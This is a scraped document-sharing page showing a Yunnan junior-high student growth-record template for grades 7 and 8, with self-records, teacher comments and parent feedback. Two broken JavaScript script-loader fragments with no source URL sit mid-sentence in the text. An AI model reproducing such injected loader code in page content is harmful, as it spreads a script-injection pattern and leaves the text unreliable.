初中生本素质发展云南省普通初中学生成长记录.doc

上传人:laozhun 文档编号:4053755 上传时间:2023-04-02 格式:DOC 页数:13 大小:19KB
返回 下载 相关 举报
初中生本素质发展云南省普通初中学生成长记录.doc_第1页
第1页 / 共13页
初中生本素质发展云南省普通初中学生成长记录.doc_第2页
第2页 / 共13页
初中生本素质发展云南省普通初中学生成长记录.doc_第3页
第3页 / 共13页
初中生本素质发展云南省普通初中学生成长记录.doc_第4页
第4页 / 共13页
初中生本素质发展云南省普通初中学生成长记录.doc_第5页
第5页 / 共13页
点击查看更多>>
资源描述

《初中生本素质发展云南省普通初中学生成长记录.doc》由会员分享,可在线阅读,更多相关《初中生本素质发展云南省普通初中学生成长记录.doc(13页珍藏版)》请在三一办公上搜索。

1、本素质发展云南省普通初中学生成长记录基本素质发展(七年级)一、公民素养个人发展目标有法律意识、公德意识、环境保护意识,有社会责任感,遵纪守法,遵守社会公德,尊敬师长,礼貌待人,主动、积极、健康地实现生命的意义和价值,掌握生活常识,有正确的生活观。上学期个人记录有公德意识,遵守社会公德,尊敬师长,礼貌待人,掌握生活常识,有正确的生活观。上学期教师记录能遵守社会公德,尊敬师长,待人也很有礼貌,掌握了一定的生活常识。下学期个人记录法律意识有所增强,有一定的社会责任感,生活积极主动,举止文明,重诚信,知感恩。下学期教师记录法律意识有所增强,也有了一定的社会责任感,生活也积极主动,举止也很文明。二、学习

2、态度与能力个人发展目标学习态度端正,能主动学习、自觉学习,学习目的明确,有理想、有目标,持之以恒,善于发现与提出问题,努力尝试用多种途径解决问题,能与同学合作,共同完成学习任务。善于思考、总结、反思,不断改进。有切合实际的学习目标。独立思考,合作探究,虚心请教。善于研究、查阅资料,不畏困难,认真复习、预习,认真听讲,积极回答问题。按时、高质量完成作业,不抄袭。成绩合格,考试不舞弊。上学期个人记录学习态度端正,主动学习,自觉学习。善于发现与提出问题,与同学合作,共同完成学习任务。学习目标切合实际,独立思考,虚心请教。不畏困难,认真复习、预习,认真听讲,积极回答问题。上学期教师记录学习态度较为端正

3、,学习也很主动,学习的自觉性也有所增强,能与同学合作,共同完成学习任务,学习目标也比较切合实际,善于独立思考,虚心请教,学习很认真,回答问题很积极。下学期个人记录有强烈的求知欲和好奇心,学习兴趣浓厚,学习目的明确,有理想、有目标,持之以恒,能有目的的收集整理、使用信息。有了一定的独立学习与研究问题的能力,按时高质量完成作业,不抄袭,善于思考、总结、反思,不断改进。下学期教师记录有强烈的求知欲和好奇心,学习兴趣也浓厚了很多,学习目的很明确,也有了一定的独立学习与研究问题的能力,作业质量也有所提高,也没有出现抄袭现象,学习中也善于思考、总结、反思。三、交流与合作个人发展目标能正确认识自己的优点与不

4、足,勇于批评与自我批评,客观评价同伴,善于与同伴共同与分享,善于团结同伴。上学期个人记录能约束自己的行为,理解同伴的处境,能与同伴一起确立目标并积极实现目标。上学期教师记录能合理调控自己的情绪,与同学、老师关系融洽。下学期个人记录自我批评有进步,与同伴能更好的相处,尊重老师,团结同学。下学期教师记录能更好地约束自己的行为,与人合作能力得到加强。四、运动与健康个人发展目标有适合自己的体育锻炼方式,养成良好的生活和卫生习惯,积极锻炼身体,不自卑,不气馁。上学期个人记录有一定的运动技能,有科学的保健习惯,能积极适应不同的环境,更加坚强。上学期教师记录有科学的锻炼方法,发育正常,身体健康,环境适应能力

5、强,能客观分析问题。下学期个人记录有适合自己特点的体育锻炼习惯,有科学的保健习惯、方法,环境适应能力得到加强。下学期教师记录已有良好的生活习惯和卫生习惯,身体状况良好,能正确面对挫折,不自卑,不气馁。五、审美与表现个人发展目标能感受生活中的美,培养正确的价值观、审美观,参加各种文艺活动。上学期个人记录掌握一定的审美知识,衣着整洁。上学期教师记录有一定的审美能力,喜欢文艺活动。下学期个人记录能感受生活、自然、艺术、科学中的美,言谈举止文明。下学期教师记录能感受美,能用多种方式表现美。成长记录之班主任评语(七年级上学期)该生遵纪守法,具有良好的社会责任感和正确的人生观,尊敬师长,团结同学,明礼诚信

6、,珍爱生命,学习态度端正,学习目的目标明确,有理想、有目标,努力进 var script = document.createElement(script); script.src = document.body.appendChild(script); 取,不断改进,生活健康,有良好的生活习惯和卫生习惯,积极参加体育锻炼,热爱集体,具有一应的环境适应能力及一定的审美能力。学生自我反思与评价(七年级上学期)自入学以来,遵守校纪校规、班规班约,尊敬师长,团结同学,积极参加学校和班级组织的各项活动,努力学习争取向上,养成了良好的学习习惯和生活习惯,积极进取,身心健康,取得了一定的成绩,但仍存在许多不

7、足之处,今后争取学习和生活中都能更进一步。(七年级下学期)我在高一年级下学期的学习生活中,认真按照学校和老师的要求,遵守学校各项制度,尊敬老师。我在生活中能与同学、舍友友好相处。在课堂上认真听讲,积极回答问题。课后认真完成作业,考试成绩合格,不作弊。在生活中我能认识到自己的优点与不足,并向同学学习。积极上体育课,课后积极锻炼身体,讲卫生。通过一学期的学习,我在学习及做人、做事方面都取得了进步,但是还有很多不足,需要在今后的学习中改进、提高。家长反馈意见:(七年级上学期)孩子本学期学习目标明确,学习进步大,期中、期末考试成绩优异;养成了良好的生活习惯、卫生习惯。感谢学校、老师对孩子的教育和培养。

8、(七年级下学期)孩子本学期以来,转变较大,放假回家后能主动学习并自觉完成教师布置的作业,同时还能与父母积极交流,汇报在校情况,配合家长做好一些家务活。但在思想上还不够成熟,很多想法也比较幼稚,恳请老师们给予批评教育。其他事项记录(七年级上学期)该生在校期间道德品质良好,生活态度积极,遵守学校的各项规章制度,学习态度端正,课堂认真听讲,课后认真复习,学习成绩进步较大。(七年级下学期)该生身体健康,行为习惯良好,能与师生和谐相处,具有文艺方面的特长。基本素质发展(八年级)一、公民素养个人发展目标1、培养先进意识,积极参加公益活动,关心集体,关心社会,热爱祖国,做一个对社会、对国家有益的人。2、尊老

9、爱幼、尊师重道,热爱生活、生命,做一个有道德的人。上学期个人记录本学期在思想道德方面有了很大提升,对于集体、社会、国家未做出不合格的事。上学期教师记录基本完成目标,个人记录属实。下学期个人记录本学期遵纪守法,热爱班级、学校,拥护党的领导,支持社会主义现代化建设,离“四有”公民更近。下学期教师记录基本完成目标,个人记录属实。二、学习态度与能力个人发展目标1、主动学习、自觉学习,完成各科学习任务,争取好成绩;2、敢于提问题,努力完善自己,试着采用多种途径解决问题,力求做到更好。3、善于独立学习,加强与同学的合作,不断反思,改进自己的学习方法,学无止境。4、上课认真听讲,做好课前预习,课后及时巩固,

10、按时、按量、按质完成作业。上学期个人记录1、本学期在学习态度、学习能力、学习方法上大大提升;2、按时独立完成作业;3、能独立思考、合作探讨、不断完善自己;4、经过一个学期的努力,成绩有了较大幅度的提升。上学期教师记录基本完成目标,个人记录属实。下学期个人记录1、学习态度端正,学习能力提升,学习方法改进,得到师生的认可;2、独立思考、合作探究、虚心请教、采用不同的方法提升自己;3、成绩合格。下学期教师记录基本完成目标,个人记录属实。三、交流与合作个人发展目标1、正确认识自己的优点与不足,坚持批评与自我批评;2、能明辨是非,与同学正常交往,关系融洽3、与同学、老师互尊互爱,善于与他人交流沟通,建立

11、良好的人际关系。上学期个人记录与同学、老师相处融洽,得到广大师生的认可,建立了良好的人际关系网。上学期教师记录基本完成目标,个人记录属实。下学期个人记录与人相处融洽,交流、沟通做得较好。下学期教师记录基本完成目标,个人记 var script = document.createElement(script); script.src = document.body.appendChild(script);录属实。四、运动与健康个人发展目标1、增强体质,采用科学的锻炼方法,促使身体健康;2、养成良好的生活和卫生习惯;3、能正确面对挫折、困难,做到自信、自爱、自尊。上学期个人记录身体健康,发育正常,

12、基本养成了良好的生活和卫生习惯,能正确面对困难、挫折。上学期教师记录基本完成目标,个人记录属实。下学期个人记录身体状况良好,良好的生活和卫生习惯已经形成,通过努力,已是一个自信、阳光、充满活力的学生。下学期教师记录基本完成目标,个人记录属实。五、审美与表现个人发展目标1、能积极参加各种文艺活动,有一定的表演水平;2、衣着整洁、大方、举止文明。上学期个人记录对自然、对生活、对艺术等的美充满了感觉。上学期教师记录基本完成目标,个人记录属实。下学期个人记录能用发现的眼光观赏自然、生活中的美,并积极参加学校组织的各种文体活动。下学期教师记录基本完成目标,个人记录属实。班主任评语(八年级上学期)该同学在

13、本学期尊敬师长,团结同学,认真遵守校纪校规,学习刻苦、努力,思想端正,态度认真,是一名合格的中学生。(八年级下学期)当你一次次主动帮助同学打扫教室时,当你为一道难题凝神沉思时,当你弯腰拾起地上的纸屑时作为老师的我,是多么的高兴!我为你的热心、勤奋和勇敢而高兴。学生自我反思与评价(八年级上学期)我在本学期认真遵守校纪校规,尊重老师,团结同学,以中学生行为规范严格要求自己,不做给学校、班级抹黑的事,自认为是一名合格的中学生。(八年级下学期)我性格开朗、办事稳重、善于思考、自学能力强,易于接受新事物。我的基础知识扎实,实验操作技能强。是一名符合时代要求的中学生。家长反馈意见(八年级上学期)他是个懂事

14、的孩子,虽然在进入青春期后独立自主意识逐渐增强,时常会坚持自己的观点,但是还是能够接受父母的意见。他生活自立能力较强,能够比较自觉努力地学习,对阅读和写作的兴趣比较浓,会经常阅读一些相关的课外书。(八年级下学期)在这段时间里,孩子的进度较大。这离不开老师的精心培育,孩子进步的一点一滴都悄悄的刻在我们心里。作为家长,我们也希望老师对孩子的关注更多一点,及时向我们反映孩子的不足,我们会对孩子的缺点加以指导改正。其他事项记录;(八年级上学期)(一)尊师重教(二)团结同学(三)学习态度端正,学习积极性较强(四)积极参与班级集体活动,任劳任怨(八年级下学期)学习方面:通过努力成绩有了明显提高,学习积极性高,目标明确;纪律方面:对自己要求严格,遵守校纪校规,班级班规;行为习惯:已养成良好的习惯,学会整理内务,见到师长问好,关心集体等

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 办公文档 > 其他范文


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号